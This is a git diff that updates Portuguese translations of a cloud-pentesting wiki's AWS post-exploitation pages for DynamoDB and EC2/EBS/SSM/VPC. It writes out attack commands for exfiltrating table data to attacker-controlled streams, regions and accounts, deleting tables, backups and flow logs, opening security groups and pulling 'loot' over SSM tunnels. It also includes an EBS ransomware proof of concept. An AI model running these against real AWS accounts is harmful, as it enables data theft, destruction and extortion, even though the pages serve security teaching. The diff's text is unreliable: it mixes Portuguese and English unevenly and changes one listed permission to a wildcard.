 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**Potential impact**: Perda de dados e interrupção dos serviços que dependem da tabela excluída.
+**Impacto potencial**: Perda de dados e interrupção dos serviços que dependem da tabela excluída.
 
 ### `dynamodb:DeleteBackup`
 
@@ -262,16 +263,16 @@ aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Impacto potencial**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
+**Potencial impacto**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Testar se isto realmente funciona
+> TODO: Testar se isso realmente funciona
 
-Um atacante com essas permissões pode **ativar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e então acessar o stream para monitorar mudanças na tabela em tempo real**. Isso permite que o atacante monitore e exfiltrate alterações de dados, potencialmente levando a data leakage.
+Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir as alterações e então acessar o stream para monitorar mudanças na tabela em tempo real**. Isso permite que o atacante monitore e exfiltrate alterações de dados, potencialmente levando a data leakage.
 
-1. Enable a stream on a DynamoDB table:
+1. Habilitar um stream em uma tabela DynamoDB:
 ```bash
 aws dynamodb update-table \
 --table-name TargetTable \
@@ -284,7 +285,7 @@ aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Obtenha o shard iterator usando o ARN do stream:
+3. Obtenha o shard iterator usando o stream ARN:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -292,22 +293,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. Use o shard iterator para acessar e exfiltrate dados do stream:
+4. Utilize o shard iterator para acessar e exfiltrate dados do stream:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Impacto potencial**: Monitoramento em tempo real e vazamento de dados das alterações da tabela DynamoDB.
+**Potential impact**: Monitoramento em tempo real e data leakage das alterações da tabela DynamoDB.
 
 ### Ler itens via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
 
-Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem quaisquer permissões de leitura usuais (`GetItem`/`Query`/`Scan`) ao executar uma atualização inócua e solicitar `--return-values ALL_OLD`. O DynamoDB retornará a imagem completa do item antes da atualização no campo `Attributes` da resposta (isso não consome RCUs).
+Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem nenhuma das permissões de leitura usuais (`GetItem`/`Query`/`Scan`) ao realizar uma atualização benigna e solicitar `--return-values ALL_OLD`. DynamoDB retornará a imagem completa pré-atualização do item no campo `Attributes` da resposta (isso não consome RCUs).
 
 - Permissões mínimas: `dynamodb:UpdateItem` na tabela/chave alvo.
 - Pré-requisitos: Você deve conhecer a chave primária do item.
 
-Exemplo (adiciona um atributo inofensivo e exfiltra o item anterior na resposta):
+Exemplo (adiciona um atributo inofensivo e exfiltrates o item anterior na resposta):
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -320,12 +321,12 @@ aws dynamodb update-item \
 ```
 A resposta do CLI incluirá um bloco `Attributes` contendo o item anterior completo (todos os atributos), fornecendo efetivamente uma primitiva de leitura a partir de acesso somente de escrita.
 
-**Impacto Potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, possibilitando exfiltração de dados sensíveis quando as chaves primárias são conhecidas.
+**Impacto potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, permitindo exfiltration de dados sensíveis quando as chaves primárias são conhecidas.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Exfiltração furtiva ao adicionar uma nova réplica Region a uma DynamoDB Global Table (version 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Region escolhida pelo atacante, de onde o atacante pode ler todos os itens.
+Exfiltration furtiva ao adicionar uma nova réplica Region a uma DynamoDB Global Table (versão 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Region escolhida pelo atacante, da qual o atacante poderá ler todos os itens.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +355,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Permissões: `dynamodb:UpdateTable` (com `replica-updates`) ou `dynamodb:CreateTableReplica` na tabela alvo. Se um CMK for usado na réplica, permissões KMS para essa chave podem ser necessárias.
+Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
 
-Impacto potencial: Replicação da tabela inteira para uma Region controlada pelo atacante, levando à exfiltração de dados furtiva.
+Potential Impact: Replicação de toda a tabela para uma Região controlada pelo atacante, levando a exfiltração furtiva de dados.
 
 ### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-Um atacante com privilégios de escrita transacional pode exfiltrar os atributos completos de um item existente ao realizar um `Update` dentro de `TransactWriteItems` que intencionalmente faz falhar uma `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nas razões de cancelamento da transação, efetivamente transformando acesso apenas de escrita em acesso de leitura às chaves alvo.
+Um atacante com privilégios de escrita transacional pode exfiltrar os atributos completos de um item existente ao executar um `Update` dentro de `TransactWriteItems` que intencionalmente falha em uma `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nas razões de cancelamento da transação, efetivamente transformando acesso apenas de escrita em acesso de leitura das chaves alvo.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -411,19 +412,19 @@ print(e.response['CancellationReasons'][0]['Item'])
 
 Permissões: `dynamodb:TransactWriteItems` na tabela alvo (e no item subjacente). Nenhuma permissão de leitura é necessária.
 
-Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de escrita transacional via os motivos de cancelamento retornados.
+Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de gravação transacional via os motivos de cancelamento retornados.
 
 
 ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
 
-Contorne as restrições de leitura criando um Índice Secundário Global (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, definindo esse atributo com um valor constante entre os itens e, em seguida, `Query` o índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, contanto que você consiga consultar o ARN do índice.
+Contornar restrições de leitura criando um Global Secondary Index (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, defina esse atributo para um valor constante em todos os itens, então `Query` o índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, contanto que você possa consultar o ARN do índice.
 
 - Permissões mínimas:
 - `dynamodb:UpdateTable` na tabela alvo (para criar o GSI com `ProjectionType=ALL`).
 - `dynamodb:UpdateItem` nas chaves da tabela alvo (para definir o atributo indexado em cada item).
 - `dynamodb:Query` no ARN do recurso do índice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
-Passos (PoC in us-east-1):
+Passos (PoC em us-east-1):
 ```bash
 # 1) Create table and seed items (without the future GSI attribute)
 aws dynamodb create-table --table-name HTXIdx \
@@ -461,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Impacto potencial:** Exfiltração completa da tabela ao consultar um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.
+**Impacto potencial:** Exfiltração completa da tabela consultando um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.
 
 
 ### `dynamodb:EnableKinesisStreamingDestination` (Exfiltração contínua via Kinesis Data Streams)
 
-Abusando dos destinos de streaming Kinesis do DynamoDB para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, todo evento INSERT/MODIFY/REMOVE é encaminhado quase em tempo real para o stream sem precisar de permissões de leitura na tabela.
+Abusar de DynamoDB Kinesis streaming destinations para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, cada evento INSERT/MODIFY/REMOVE é encaminhado em quase tempo real para o stream sem necessidade de permissões de leitura na tabela.
 
 Permissões mínimas (atacante):
 - `dynamodb:EnableKinesisStreamingDestination` na tabela alvo
 - Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorar o status
-- Permissões de leitura no Kinesis stream controlado pelo atacante para consumir registros: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- Permissões de leitura no stream Kinesis controlado pelo atacante para consumir registros: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -530,8 +531,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**Impacto Potencial:** Exfiltração contínua, quase em tempo real, de alterações da tabela para um Kinesis stream controlado por um atacante, sem operações de leitura diretas na tabela.
+**Impacto potencial:** Exfiltração contínua, quase em tempo real, das alterações da tabela para um Kinesis stream controlado pelo atacante sem operações diretas de leitura na tabela.
 
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index d323596bf..728f36357 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,29 +1,29 @@
-# AWS - EC2, EBS, SSM & VPC Pós Exploração
+# AWS - EC2, EBS, SSM & VPC Pós-Exploração
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## EC2 & VPC
 
-Para mais informações, consulte:
+Para mais informações, veja:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **Espelho VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.\
-Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:
+VPC traffic mirroring **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado normalmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento.\
+Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
 
-Para mais informações, consulte esta página:
+For more information check this page:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Copiar Instância em Execução
+### Copy Running Instance
 
-As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de entrar (ver [truques de escalonamento de privilégios EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). No entanto, outra maneira de verificar o que contém é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
+Instâncias normalmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar (veja [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra forma de verificar o que elas contêm é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,41 +49,105 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Snapshots são backups de volumes**, que geralmente conterão **informações sensíveis**, portanto, verificá-los deve revelar essas informações.\
-Se você encontrar um **volume sem um snapshot**, você pode: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta:
+**Snapshots são backups de volumes**, que geralmente contêm **informações sensíveis**, portanto verificá-los deve revelar essas informações.\
+Se você encontrar um **volume** sem um **snapshot** você poderia: **criar um snapshot** e executar as seguintes ações ou simplesmente **montá-lo em uma instância** dentro da conta:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
+### Covert Disk Exfiltration via AMI Store-to-S3
+
+Exporte um EC2 AMI diretamente para S3 usando `CreateStoreImageTask` para obter uma imagem de disco raw sem snapshot sharing. Isso permite forense offline completa ou data theft enquanto mantém a rede da instância intacta.
+
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
+
+### Live Data Theft via EBS Multi-Attach
+
+Anexe um volume io1/io2 Multi-Attach a uma segunda instância e monte-o em read-only para extrair dados ao vivo sem snapshots. Útil quando o volume vítima já tem Multi-Attach habilitado dentro da mesma AZ.
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+Crie um EC2 Instance Connect Endpoint, autorize o ingress e injete chaves SSH efêmeras para acessar instâncias privadas por um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão allowlisted por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos.
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego de entrada ou originar conexões de saída que aparentem vir de IPs públicos confiáveis.
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+Se uma regra de security group referencia uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso em todas as regras de SG dependentes sem modificar o SG em si.
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+Crie gateway ou interface VPC endpoints para recuperar acesso de saída a partir de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna a falta de controles IGW/NAT para data exfiltration.
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+Aponte VPC Flow Logs para um bucket S3 controlado pelo atacante para coletar continuamente metadados de rede (source/destination, ports) fora da conta vítima para reconhecimento de longo prazo.
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
 ### Data Exfiltration
 
 #### DNS Exfiltration
 
-Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ele ainda pode **exfiltrar via DNS**.
+Mesmo que você bloqueie um EC2 para que nenhum tráfego saia, ele ainda pode exfil via DNS.
 
-- **Os VPC Flow Logs não registrarão isso**.
-- Você não tem acesso aos logs DNS da AWS.
+- VPC Flow Logs não vai registrar isso.
+- Você não tem acesso aos AWS DNS logs.
 - Desative isso definindo "enableDnsSupport" como false com:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
 #### Exfiltration via API calls
 
-Um atacante pode chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
+Um atacante poderia chamar endpoints de API de uma conta controlada por ele. Cloudtrail irá registrar essas chamadas e o atacante poderá ver o exfiltrate data nos logs do Cloudtrail.
 
 ### Open Security Group
 
-Você pode obter acesso adicional a serviços de rede abrindo portas assim:
+Você pode obter mais acesso a serviços de rede abrindo portas assim:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS
 
-É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e, em seguida, roubar os dados das instâncias ECS.
+É possível executar uma EC2 instance e registrá-la para que seja usada para executar ECS instances e, em seguida, roubar os dados dessas instâncias ECS.
 
-Para [**mais informações, verifique isso**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+Para [**mais informações, veja isto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
 ### Remove VPC flow logs
 ```bash
@@ -91,26 +155,27 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
 ### SSM Port Forwarding
 
-Permissões necessárias:
+Required permissions:
 
 - `ssm:StartSession`
 
-Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Grupos de Segurança ou NACLs. Um dos cenários onde isso é útil é a pivotagem de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
+Além da execução de comandos, o SSM permite tunelamento de tráfego, que pode ser abusado para pivoting a partir de instâncias EC2 que não têm acesso de rede devido a Security Groups ou NACLs.
+Um dos cenários em que isso é útil é pivoting de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
 
-> Para iniciar uma sessão, você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> Para iniciar uma sessão é necessário ter o SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
 1. Instale o SessionManagerPlugin na sua máquina
 2. Faça login no Bastion EC2 usando o seguinte comando:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Obtenha as credenciais temporárias do Bastion EC2 AWS com o script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)  
-4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como perfil `[bastion-ec2]`  
+3. Obtenha as credenciais temporárias AWS do Bastion EC2 com o [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script  
+4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como o perfil `[bastion-ec2]`  
 5. Faça login no EKS como o Bastion EC2:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost`  
+6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost`
 7. Crie um túnel SSM da seguinte forma:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
@@ -119,39 +184,39 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
+Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente em ferramentas de auditoria K8s). Como o tráfego é tunelado pelo túnel seguro do AWS SSM, você está protegido contra qualquer tipo de ataque MitM.
 
-Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada.
+Finalmente, esta técnica não é específica para atacar clusters privados EKS. Você pode definir domínios e portas arbitrários para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada.
 
 ---
 
 #### Encaminhamento Rápido de Porta Local ↔️ Remota (AWS-StartPortForwardingSession)
 
-Se você precisar apenas encaminhar **uma porta TCP do EC2 para o seu host local**, você pode usar o documento SSM `AWS-StartPortForwardingSession` (sem parâmetro de host remoto necessário):
+Se você só precisa encaminhar **uma porta TCP da instância EC2 para sua máquina local**, você pode usar o documento SSM `AWS-StartPortForwardingSession` (nenhum parâmetro de host remoto é necessário):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-O comando estabelece um túnel bidirecional entre sua estação de trabalho (`localPortNumber`) e a porta selecionada (`portNumber`) na instância **sem abrir nenhuma regra de Security-Group de entrada**.
+O comando estabelece um túnel bidirecional entre sua workstation (`localPortNumber`) e a porta selecionada (`portNumber`) na instância **sem abrir quaisquer regras de inbound do Security-Group**.
 
-Casos de uso comuns:
+Common use cases:
 
-* **Exfiltração de arquivos**
-1. Na instância, inicie um servidor HTTP rápido que aponte para o diretório que você deseja exfiltrar:
+* **File exfiltration**
+1. Na instância, inicie um servidor HTTP rápido que aponte para o diretório que você quer exfiltrate:
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. Da sua estação de trabalho, busque os arquivos através do túnel SSM:
+2. Do seu workstation, busque os arquivos através do túnel SSM:
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **Acessando aplicações web internas (por exemplo, Nessus)**
+* **Acesso a aplicações web internas (por exemplo Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Dica: Comprimir e criptografar evidências antes de exfiltrá-las para que o CloudTrail não registre o conteúdo em texto claro:
+Dica: Compress and encrypt as evidências antes de exfiltrating, para que CloudTrail não registre o conteúdo em clear-text:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -170,17 +235,17 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
 ```
 ### Pesquisar informações sensíveis em AMIs públicas e privadas
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **procurar informações sensíveis dentro de Imagens de Máquina da Amazon (AMIs) públicas ou privadas**. Ela automatiza o processo de lançamento de instâncias a partir de AMIs alvo, montando seus volumes e escaneando em busca de segredos ou dados sensíveis potenciais.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis dentro de Amazon Machine Images (AMIs) públicas ou privadas**. Ela automatiza o processo de iniciar instâncias a partir das AMIs alvo, montar seus volumes e escanear por potenciais secrets ou dados sensíveis.
 
-### Compartilhar Snapshot EBS
+### Compartilhar EBS Snapshot
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. O KMS deve ser renomeado para RMS, ou Serviço de Gerenciamento de Ransomware, dada a facilidade de uso para criptografar vários serviços da AWS.
+Uma prova de conceito similar à demonstração de Ransomware mostrada nas notas de post-exploitation do S3. KMS deveria ser renomeado para RMS (Ransomware Management Service) devido à facilidade de uso para criptografar vários serviços da AWS com ele.
 
-Primeiro, a partir de uma conta AWS 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra da política que permite todo o acesso é chamada de 'Outside Encryption'.
+Primeiro, a partir de uma conta AWS 'attacker', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo vamos apenas deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um agente malicioso manteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer AWS account Principal use a chave. Nesta key policy, o nome da conta era 'AttackSim' e a regra de policy permitindo acesso total chama-se 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +337,7 @@ Primeiro, a partir de uma conta AWS 'atacante', crie uma chave gerenciada pelo c
 ]
 }
 ```
-A regra da política de chave precisa das seguintes permissões habilitadas para permitir a capacidade de usá-la para criptografar um volume EBS:
+The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +345,21 @@ A regra da política de chave precisa das seguintes permissões habilitadas para
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Agora, com a chave publicamente acessível para usar. Podemos usar uma conta 'vítima' que possui algumas instâncias EC2 com volumes EBS não criptografados anexados. Os volumes EBS dessa conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
+Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave disponível publicamente da conta 'atacante' para criptografar os novos volumes EBS, em seguida, destacará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
+This results in only encrypted EBS volumes left available in the account.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Também vale a pena notar que o script parou as instâncias EC2 para destacar e excluir os volumes EBS originais. Os volumes originais não criptografados já não existem.
+Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Em seguida, retorne à política de chave na conta 'atacante' e remova a regra de política 'Outside Encryption' da política de chave.
+Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +430,15 @@ Em seguida, retorne à política de chave na conta 'atacante' e remova a regra d
 ]
 }
 ```
-Aguarde um momento para que a nova política de chave se propague. Em seguida, retorne à conta da 'vítima' e tente anexar um dos novos volumes EBS criptografados. Você descobrirá que pode anexar o volume.
+Aguarde um momento para que a nova key policy propague. Em seguida, retorne para a conta 'victim' e tente anexar um dos volumes EBS recém-encriptados. Você verá que é possível anexar o volume.
 
